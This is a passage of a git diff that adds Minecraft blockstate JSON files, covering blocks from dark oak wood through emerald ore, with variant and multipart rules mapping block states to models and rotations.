00000000..d45b617f --- /dev/null +++ b/src/assets/minecraft/blockstates/dark_oak_wood.json @@ -0,0 +1,16 @@ +{ + "variants": { + "axis=x": { + "model": "minecraft:block/dark_oak_wood", + "x": 90, + "y": 90 + }, + "axis=y": { + "model": "minecraft:block/dark_oak_wood" + }, + "axis=z": { + "model": "minecraft:block/dark_oak_wood", + "x": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/dark_prismarine.json b/src/assets/minecraft/blockstates/dark_prismarine.json new file mode 100644 index 00000000..2f1ce749 --- /dev/null +++ b/src/assets/minecraft/blockstates/dark_prismarine.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/dark_prismarine" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/dark_prismarine_slab.json b/src/assets/minecraft/blockstates/dark_prismarine_slab.json new file mode 100644 index 00000000..80a61949 --- /dev/null +++ b/src/assets/minecraft/blockstates/dark_prismarine_slab.json @@ -0,0 +1,13 @@ +{ + "variants": { + "type=bottom": { + "model": "minecraft:block/dark_prismarine_slab" + }, + "type=double": { + "model": "minecraft:block/dark_prismarine" + }, + "type=top": { + "model": "minecraft:block/dark_prismarine_slab_top" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/dark_prismarine_stairs.json b/src/assets/minecraft/blockstates/dark_prismarine_stairs.json new file mode 100644 index 00000000..8d0cda74 --- /dev/null +++ b/src/assets/minecraft/blockstates/dark_prismarine_stairs.json @@ -0,0 +1,209 @@ +{ + "variants": { + "facing=east,half=bottom,shape=inner_left": { + "model": "minecraft:block/dark_prismarine_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=inner_right": { + "model": "minecraft:block/dark_prismarine_stairs_inner" + }, + "facing=east,half=bottom,shape=outer_left": { + "model": "minecraft:block/dark_prismarine_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=outer_right": { + "model": "minecraft:block/dark_prismarine_stairs_outer" + }, + "facing=east,half=bottom,shape=straight": { + "model": "minecraft:block/dark_prismarine_stairs" + }, + "facing=east,half=top,shape=inner_left": { + "model": "minecraft:block/dark_prismarine_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=inner_right": { + "model": "minecraft:block/dark_prismarine_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=outer_left": { + "model": "minecraft:block/dark_prismarine_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=outer_right": { + "model": "minecraft:block/dark_prismarine_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=straight": { + "model": "minecraft:block/dark_prismarine_stairs", + "x": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_left": { + "model": "minecraft:block/dark_prismarine_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_right": { + "model": "minecraft:block/dark_prismarine_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_left": { + "model": "minecraft:block/dark_prismarine_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_right": { + "model": "minecraft:block/dark_prismarine_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=straight": { + "model": "minecraft:block/dark_prismarine_stairs", + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_left": { + "model": "minecraft:block/dark_prismarine_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_right": { + "model": "minecraft:block/dark_prismarine_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=outer_left": { + "model": "minecraft:block/dark_prismarine_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=outer_right": { + "model": "minecraft:block/dark_prismarine_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=straight": { + "model": "minecraft:block/dark_prismarine_stairs", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=south,half=bottom,shape=inner_left": { + "model": "minecraft:block/dark_prismarine_stairs_inner" + }, + "facing=south,half=bottom,shape=inner_right": { + "model": "minecraft:block/dark_prismarine_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=outer_left": { + "model": "minecraft:block/dark_prismarine_stairs_outer" + }, + "facing=south,half=bottom,shape=outer_right": { + "model": "minecraft:block/dark_prismarine_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=straight": { + "model": "minecraft:block/dark_prismarine_stairs", + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_left": { + "model": "minecraft:block/dark_prismarine_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_right": { + "model": "minecraft:block/dark_prismarine_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=outer_left": { + "model": "minecraft:block/dark_prismarine_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=outer_right": { + "model": "minecraft:block/dark_prismarine_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=straight": { + "model": "minecraft:block/dark_prismarine_stairs", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_left": { + "model": "minecraft:block/dark_prismarine_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_right": { + "model": "minecraft:block/dark_prismarine_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_left": { + "model": "minecraft:block/dark_prismarine_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_right": { + "model": "minecraft:block/dark_prismarine_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=straight": { + "model": "minecraft:block/dark_prismarine_stairs", + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_left": { + "model": "minecraft:block/dark_prismarine_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_right": { + "model": "minecraft:block/dark_prismarine_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=outer_left": { + "model": "minecraft:block/dark_prismarine_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=outer_right": { + "model": "minecraft:block/dark_prismarine_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=straight": { + "model": "minecraft:block/dark_prismarine_stairs", + "x": 180, + "y": 180, + "uvlock": true + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/daylight_detector.json b/src/assets/minecraft/blockstates/daylight_detector.json new file mode 100644 index 00000000..c6182ff9 --- /dev/null +++ b/src/assets/minecraft/blockstates/daylight_detector.json @@ -0,0 +1,10 @@ +{ + "variants": { + "inverted=false": { + "model": "minecraft:block/daylight_detector" + }, + "inverted=true": { + "model": "minecraft:block/daylight_detector_inverted" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/dead_brain_coral.json b/src/assets/minecraft/blockstates/dead_brain_coral.json new file mode 100644 index 00000000..736b2bd4 --- /dev/null +++ b/src/assets/minecraft/blockstates/dead_brain_coral.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/dead_brain_coral" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/dead_brain_coral_block.json b/src/assets/minecraft/blockstates/dead_brain_coral_block.json new file mode 100644 index 00000000..550f6b06 --- /dev/null +++ b/src/assets/minecraft/blockstates/dead_brain_coral_block.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/dead_brain_coral_block" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/dead_brain_coral_fan.json b/src/assets/minecraft/blockstates/dead_brain_coral_fan.json new file mode 100644 index 00000000..41c6e2a9 --- /dev/null +++ b/src/assets/minecraft/blockstates/dead_brain_coral_fan.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/dead_brain_coral_fan" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/dead_brain_coral_wall_fan.json b/src/assets/minecraft/blockstates/dead_brain_coral_wall_fan.json new file mode 100644 index 00000000..03c9d976 --- /dev/null +++ b/src/assets/minecraft/blockstates/dead_brain_coral_wall_fan.json @@ -0,0 +1,19 @@ +{ + "variants": { + "facing=east": { + "model": "minecraft:block/dead_brain_coral_wall_fan", + "y": 90 + }, + "facing=north": { + "model": "minecraft:block/dead_brain_coral_wall_fan" + }, + "facing=south": { + "model": "minecraft:block/dead_brain_coral_wall_fan", + "y": 180 + }, + "facing=west": { + "model": "minecraft:block/dead_brain_coral_wall_fan", + "y": 270 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/dead_bubble_coral.json b/src/assets/minecraft/blockstates/dead_bubble_coral.json new file mode 100644 index 00000000..fac745e1 --- /dev/null +++ b/src/assets/minecraft/blockstates/dead_bubble_coral.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/dead_bubble_coral" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/dead_bubble_coral_block.json b/src/assets/minecraft/blockstates/dead_bubble_coral_block.json new file mode 100644 index 00000000..ada5781b --- /dev/null +++ b/src/assets/minecraft/blockstates/dead_bubble_coral_block.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/dead_bubble_coral_block" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/dead_bubble_coral_fan.json b/src/assets/minecraft/blockstates/dead_bubble_coral_fan.json new file mode 100644 index 00000000..d55b0608 --- /dev/null +++ b/src/assets/minecraft/blockstates/dead_bubble_coral_fan.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/dead_bubble_coral_fan" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/dead_bubble_coral_wall_fan.json b/src/assets/minecraft/blockstates/dead_bubble_coral_wall_fan.json new file mode 100644 index 00000000..727aea19 --- /dev/null +++ b/src/assets/minecraft/blockstates/dead_bubble_coral_wall_fan.json @@ -0,0 +1,19 @@ +{ + "variants": { + "facing=east": { + "model": "minecraft:block/dead_bubble_coral_wall_fan", + "y": 90 + }, + "facing=north": { + "model": "minecraft:block/dead_bubble_coral_wall_fan" + }, + "facing=south": { + "model": "minecraft:block/dead_bubble_coral_wall_fan", + "y": 180 + }, + "facing=west": { + "model": "minecraft:block/dead_bubble_coral_wall_fan", + "y": 270 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/dead_bush.json b/src/assets/minecraft/blockstates/dead_bush.json new file mode 100644 index 00000000..ed88d109 --- /dev/null +++ b/src/assets/minecraft/blockstates/dead_bush.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/dead_bush" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/dead_fire_coral.json b/src/assets/minecraft/blockstates/dead_fire_coral.json new file mode 100644 index 00000000..65f7ee33 --- /dev/null +++ b/src/assets/minecraft/blockstates/dead_fire_coral.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/dead_fire_coral" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/dead_fire_coral_block.json b/src/assets/minecraft/blockstates/dead_fire_coral_block.json new file mode 100644 index 00000000..4414956f --- /dev/null +++ b/src/assets/minecraft/blockstates/dead_fire_coral_block.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/dead_fire_coral_block" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/dead_fire_coral_fan.json b/src/assets/minecraft/blockstates/dead_fire_coral_fan.json new file mode 100644 index 00000000..fb3c6feb --- /dev/null +++ b/src/assets/minecraft/blockstates/dead_fire_coral_fan.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/dead_fire_coral_fan" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/dead_fire_coral_wall_fan.json b/src/assets/minecraft/blockstates/dead_fire_coral_wall_fan.json new file mode 100644 index 00000000..0fd52584 --- /dev/null +++ b/src/assets/minecraft/blockstates/dead_fire_coral_wall_fan.json @@ -0,0 +1,19 @@ +{ + "variants": { + "facing=east": { + "model": "minecraft:block/dead_fire_coral_wall_fan", + "y": 90 + }, + "facing=north": { + "model": "minecraft:block/dead_fire_coral_wall_fan" + }, + "facing=south": { + "model": "minecraft:block/dead_fire_coral_wall_fan", + "y": 180 + }, + "facing=west": { + "model": "minecraft:block/dead_fire_coral_wall_fan", + "y": 270 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/dead_horn_coral.json b/src/assets/minecraft/blockstates/dead_horn_coral.json new file mode 100644 index 00000000..f38ce336 --- /dev/null +++ b/src/assets/minecraft/blockstates/dead_horn_coral.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/dead_horn_coral" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/dead_horn_coral_block.json b/src/assets/minecraft/blockstates/dead_horn_coral_block.json new file mode 100644 index 00000000..8666c0c6 --- /dev/null +++ b/src/assets/minecraft/blockstates/dead_horn_coral_block.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/dead_horn_coral_block" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/dead_horn_coral_fan.json b/src/assets/minecraft/blockstates/dead_horn_coral_fan.json new file mode 100644 index 00000000..1f72003e --- /dev/null +++ b/src/assets/minecraft/blockstates/dead_horn_coral_fan.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/dead_horn_coral_fan" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/dead_horn_coral_wall_fan.json b/src/assets/minecraft/blockstates/dead_horn_coral_wall_fan.json new file mode 100644 index 00000000..02928d6e --- /dev/null +++ b/src/assets/minecraft/blockstates/dead_horn_coral_wall_fan.json @@ -0,0 +1,19 @@ +{ + "variants": { + "facing=east": { + "model": "minecraft:block/dead_horn_coral_wall_fan", + "y": 90 + }, + "facing=north": { + "model": "minecraft:block/dead_horn_coral_wall_fan" + }, + "facing=south": { + "model": "minecraft:block/dead_horn_coral_wall_fan", + "y": 180 + }, + "facing=west": { + "model": "minecraft:block/dead_horn_coral_wall_fan", + "y": 270 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/dead_tube_coral.json b/src/assets/minecraft/blockstates/dead_tube_coral.json new file mode 100644 index 00000000..156c3f0a --- /dev/null +++ b/src/assets/minecraft/blockstates/dead_tube_coral.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/dead_tube_coral" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/dead_tube_coral_block.json b/src/assets/minecraft/blockstates/dead_tube_coral_block.json new file mode 100644 index 00000000..72d40552 --- /dev/null +++ b/src/assets/minecraft/blockstates/dead_tube_coral_block.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/dead_tube_coral_block" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/dead_tube_coral_fan.json b/src/assets/minecraft/blockstates/dead_tube_coral_fan.json new file mode 100644 index 00000000..095e294b --- /dev/null +++ b/src/assets/minecraft/blockstates/dead_tube_coral_fan.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/dead_tube_coral_fan" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/dead_tube_coral_wall_fan.json b/src/assets/minecraft/blockstates/dead_tube_coral_wall_fan.json new file mode 100644 index 00000000..0705e15d --- /dev/null +++ b/src/assets/minecraft/blockstates/dead_tube_coral_wall_fan.json @@ -0,0 +1,19 @@ +{ + "variants": { + "facing=east": { + "model": "minecraft:block/dead_tube_coral_wall_fan", + "y": 90 + }, + "facing=north": { + "model": "minecraft:block/dead_tube_coral_wall_fan" + }, + "facing=south": { + "model": "minecraft:block/dead_tube_coral_wall_fan", + "y": 180 + }, + "facing=west": { + "model": "minecraft:block/dead_tube_coral_wall_fan", + "y": 270 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/detector_rail.json b/src/assets/minecraft/blockstates/detector_rail.json new file mode 100644 index 00000000..fff11cc0 --- /dev/null +++ b/src/assets/minecraft/blockstates/detector_rail.json @@ -0,0 +1,46 @@ +{ + "variants": { + "powered=false,shape=ascending_east": { + "model": "minecraft:block/detector_rail_raised_ne", + "y": 90 + }, + "powered=false,shape=ascending_north": { + "model": "minecraft:block/detector_rail_raised_ne" + }, + "powered=false,shape=ascending_south": { + "model": "minecraft:block/detector_rail_raised_sw" + }, + "powered=false,shape=ascending_west": { + "model": "minecraft:block/detector_rail_raised_sw", + "y": 90 + }, + "powered=false,shape=east_west": { + "model": "minecraft:block/detector_rail", + "y": 90 + }, + "powered=false,shape=north_south": { + "model": "minecraft:block/detector_rail" + }, + "powered=true,shape=ascending_east": { + "model": "minecraft:block/detector_rail_on_raised_ne", + "y": 90 + }, + "powered=true,shape=ascending_north": { + "model": "minecraft:block/detector_rail_on_raised_ne" + }, + "powered=true,shape=ascending_south": { + "model": "minecraft:block/detector_rail_on_raised_sw" + }, + "powered=true,shape=ascending_west": { + "model": "minecraft:block/detector_rail_on_raised_sw", + "y": 90 + }, + "powered=true,shape=east_west": { + "model": "minecraft:block/detector_rail_on", + "y": 90 + }, + "powered=true,shape=north_south": { + "model": "minecraft:block/detector_rail_on" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/diamond_block.json b/src/assets/minecraft/blockstates/diamond_block.json new file mode 100644 index 00000000..5a5d8888 --- /dev/null +++ b/src/assets/minecraft/blockstates/diamond_block.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/diamond_block" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/diamond_ore.json b/src/assets/minecraft/blockstates/diamond_ore.json new file mode 100644 index 00000000..fda88436 --- /dev/null +++ b/src/assets/minecraft/blockstates/diamond_ore.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/diamond_ore" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/diorite.json b/src/assets/minecraft/blockstates/diorite.json new file mode 100644 index 00000000..6adf7b0a --- /dev/null +++ b/src/assets/minecraft/blockstates/diorite.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/diorite" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/diorite_slab.json b/src/assets/minecraft/blockstates/diorite_slab.json new file mode 100644 index 00000000..58e56110 --- /dev/null +++ b/src/assets/minecraft/blockstates/diorite_slab.json @@ -0,0 +1,13 @@ +{ + "variants": { + "type=bottom": { + "model": "minecraft:block/diorite_slab" + }, + "type=double": { + "model": "minecraft:block/diorite" + }, + "type=top": { + "model": "minecraft:block/diorite_slab_top" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/diorite_stairs.json b/src/assets/minecraft/blockstates/diorite_stairs.json new file mode 100644 index 00000000..c44582d3 --- /dev/null +++ b/src/assets/minecraft/blockstates/diorite_stairs.json @@ -0,0 +1,209 @@ +{ + "variants": { + "facing=east,half=bottom,shape=inner_left": { + "model": "minecraft:block/diorite_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=inner_right": { + "model": "minecraft:block/diorite_stairs_inner" + }, + "facing=east,half=bottom,shape=outer_left": { + "model": "minecraft:block/diorite_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=outer_right": { + "model": "minecraft:block/diorite_stairs_outer" + }, + "facing=east,half=bottom,shape=straight": { + "model": "minecraft:block/diorite_stairs" + }, + "facing=east,half=top,shape=inner_left": { + "model": "minecraft:block/diorite_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=inner_right": { + "model": "minecraft:block/diorite_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=outer_left": { + "model": "minecraft:block/diorite_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=outer_right": { + "model": "minecraft:block/diorite_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=straight": { + "model": "minecraft:block/diorite_stairs", + "x": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_left": { + "model": "minecraft:block/diorite_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_right": { + "model": "minecraft:block/diorite_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_left": { + "model": "minecraft:block/diorite_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_right": { + "model": "minecraft:block/diorite_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=straight": { + "model": "minecraft:block/diorite_stairs", + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_left": { + "model": "minecraft:block/diorite_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_right": { + "model": "minecraft:block/diorite_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=outer_left": { + "model": "minecraft:block/diorite_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=outer_right": { + "model": "minecraft:block/diorite_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=straight": { + "model": "minecraft:block/diorite_stairs", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=south,half=bottom,shape=inner_left": { + "model": "minecraft:block/diorite_stairs_inner" + }, + "facing=south,half=bottom,shape=inner_right": { + "model": "minecraft:block/diorite_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=outer_left": { + "model": "minecraft:block/diorite_stairs_outer" + }, + "facing=south,half=bottom,shape=outer_right": { + "model": "minecraft:block/diorite_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=straight": { + "model": "minecraft:block/diorite_stairs", + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_left": { + "model": "minecraft:block/diorite_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_right": { + "model": "minecraft:block/diorite_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=outer_left": { + "model": "minecraft:block/diorite_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=outer_right": { + "model": "minecraft:block/diorite_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=straight": { + "model": "minecraft:block/diorite_stairs", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_left": { + "model": "minecraft:block/diorite_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_right": { + "model": "minecraft:block/diorite_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_left": { + "model": "minecraft:block/diorite_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_right": { + "model": "minecraft:block/diorite_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=straight": { + "model": "minecraft:block/diorite_stairs", + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_left": { + "model": "minecraft:block/diorite_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_right": { + "model": "minecraft:block/diorite_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=outer_left": { + "model": "minecraft:block/diorite_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=outer_right": { + "model": "minecraft:block/diorite_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=straight": { + "model": "minecraft:block/diorite_stairs", + "x": 180, + "y": 180, + "uvlock": true + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/diorite_wall.json b/src/assets/minecraft/blockstates/diorite_wall.json new file mode 100644 index 00000000..80d75819 --- /dev/null +++ b/src/assets/minecraft/blockstates/diorite_wall.json @@ -0,0 +1,90 @@ +{ + "multipart": [ + { + "when": { + "up": "true" + }, + "apply": { + "model": "minecraft:block/diorite_wall_post" + } + }, + { + "when": { + "north": "low" + }, + "apply": { + "model": "minecraft:block/diorite_wall_side", + "uvlock": true + } + }, + { + "when": { + "east": "low" + }, + "apply": { + "model": "minecraft:block/diorite_wall_side", + "y": 90, + "uvlock": true + } + }, + { + "when": { + "south": "low" + }, + "apply": { + "model": "minecraft:block/diorite_wall_side", + "y": 180, + "uvlock": true + } + }, + { + "when": { + "west": "low" + }, + "apply": { + "model": "minecraft:block/diorite_wall_side", + "y": 270, + "uvlock": true + } + }, + { + "when": { + "north": "tall" + }, + "apply": { + "model": "minecraft:block/diorite_wall_side_tall", + "uvlock": true + } + }, + { + "when": { + "east": "tall" + }, + "apply": { + "model": "minecraft:block/diorite_wall_side_tall", + "y": 90, + "uvlock": true + } + }, + { + "when": { + "south": "tall" + }, + "apply": { + "model": "minecraft:block/diorite_wall_side_tall", + "y": 180, + "uvlock": true + } + }, + { + "when": { + "west": "tall" + }, + "apply": { + "model": "minecraft:block/diorite_wall_side_tall", + "y": 270, + "uvlock": true + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/dirt.json b/src/assets/minecraft/blockstates/dirt.json new file mode 100644 index 00000000..875507fe --- /dev/null +++ b/src/assets/minecraft/blockstates/dirt.json @@ -0,0 +1,21 @@ +{ + "variants": { + "": [ + { + "model": "minecraft:block/dirt" + }, + { + "model": "minecraft:block/dirt", + "y": 90 + }, + { + "model": "minecraft:block/dirt", + "y": 180 + }, + { + "model": "minecraft:block/dirt", + "y": 270 + } + ] + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/dispenser.json b/src/assets/minecraft/blockstates/dispenser.json new file mode 100644 index 00000000..aae90a81 --- /dev/null +++ b/src/assets/minecraft/blockstates/dispenser.json @@ -0,0 +1,26 @@ +{ + "variants": { + "facing=down": { + "model": "minecraft:block/dispenser_vertical", + "x": 180 + }, + "facing=east": { + "model": "minecraft:block/dispenser", + "y": 90 + }, + "facing=north": { + "model": "minecraft:block/dispenser" + }, + "facing=south": { + "model": "minecraft:block/dispenser", + "y": 180 + }, + "facing=up": { + "model": "minecraft:block/dispenser_vertical" + }, + "facing=west": { + "model": "minecraft:block/dispenser", + "y": 270 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/dragon_egg.json b/src/assets/minecraft/blockstates/dragon_egg.json new file mode 100644 index 00000000..9bb980f7 --- /dev/null +++ b/src/assets/minecraft/blockstates/dragon_egg.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/dragon_egg" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/dragon_head.json b/src/assets/minecraft/blockstates/dragon_head.json new file mode 100644 index 00000000..3951e3ee --- /dev/null +++ b/src/assets/minecraft/blockstates/dragon_head.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/skull" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/dragon_wall_head.json b/src/assets/minecraft/blockstates/dragon_wall_head.json new file mode 100644 index 00000000..3951e3ee --- /dev/null +++ b/src/assets/minecraft/blockstates/dragon_wall_head.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/skull" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/dried_kelp_block.json b/src/assets/minecraft/blockstates/dried_kelp_block.json new file mode 100644 index 00000000..aa9d160b --- /dev/null +++ b/src/assets/minecraft/blockstates/dried_kelp_block.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/dried_kelp_block" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/dropper.json b/src/assets/minecraft/blockstates/dropper.json new file mode 100644 index 00000000..19b14830 --- /dev/null +++ b/src/assets/minecraft/blockstates/dropper.json @@ -0,0 +1,26 @@ +{ + "variants": { + "facing=down": { + "model": "minecraft:block/dropper_vertical", + "x": 180 + }, + "facing=east": { + "model": "minecraft:block/dropper", + "y": 90 + }, + "facing=north": { + "model": "minecraft:block/dropper" + }, + "facing=south": { + "model": "minecraft:block/dropper", + "y": 180 + }, + "facing=up": { + "model": "minecraft:block/dropper_vertical" + }, + "facing=west": { + "model": "minecraft:block/dropper", + "y": 270 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/emerald_block.json b/src/assets/minecraft/blockstates/emerald_block.json new file mode 100644 index 00000000..e159176d --- /dev/null +++ b/src/assets/minecraft/blockstates/emerald_block.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/emerald_block" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/emerald_ore.json b/src/assets/minecraft/blockstates/emerald_ore.json new file mode 100644 index 00000000..ed6121a9 --- /dev/null +++ b/src/assets/minecraft/blockstates/emerald_ore.json @@ -0,0 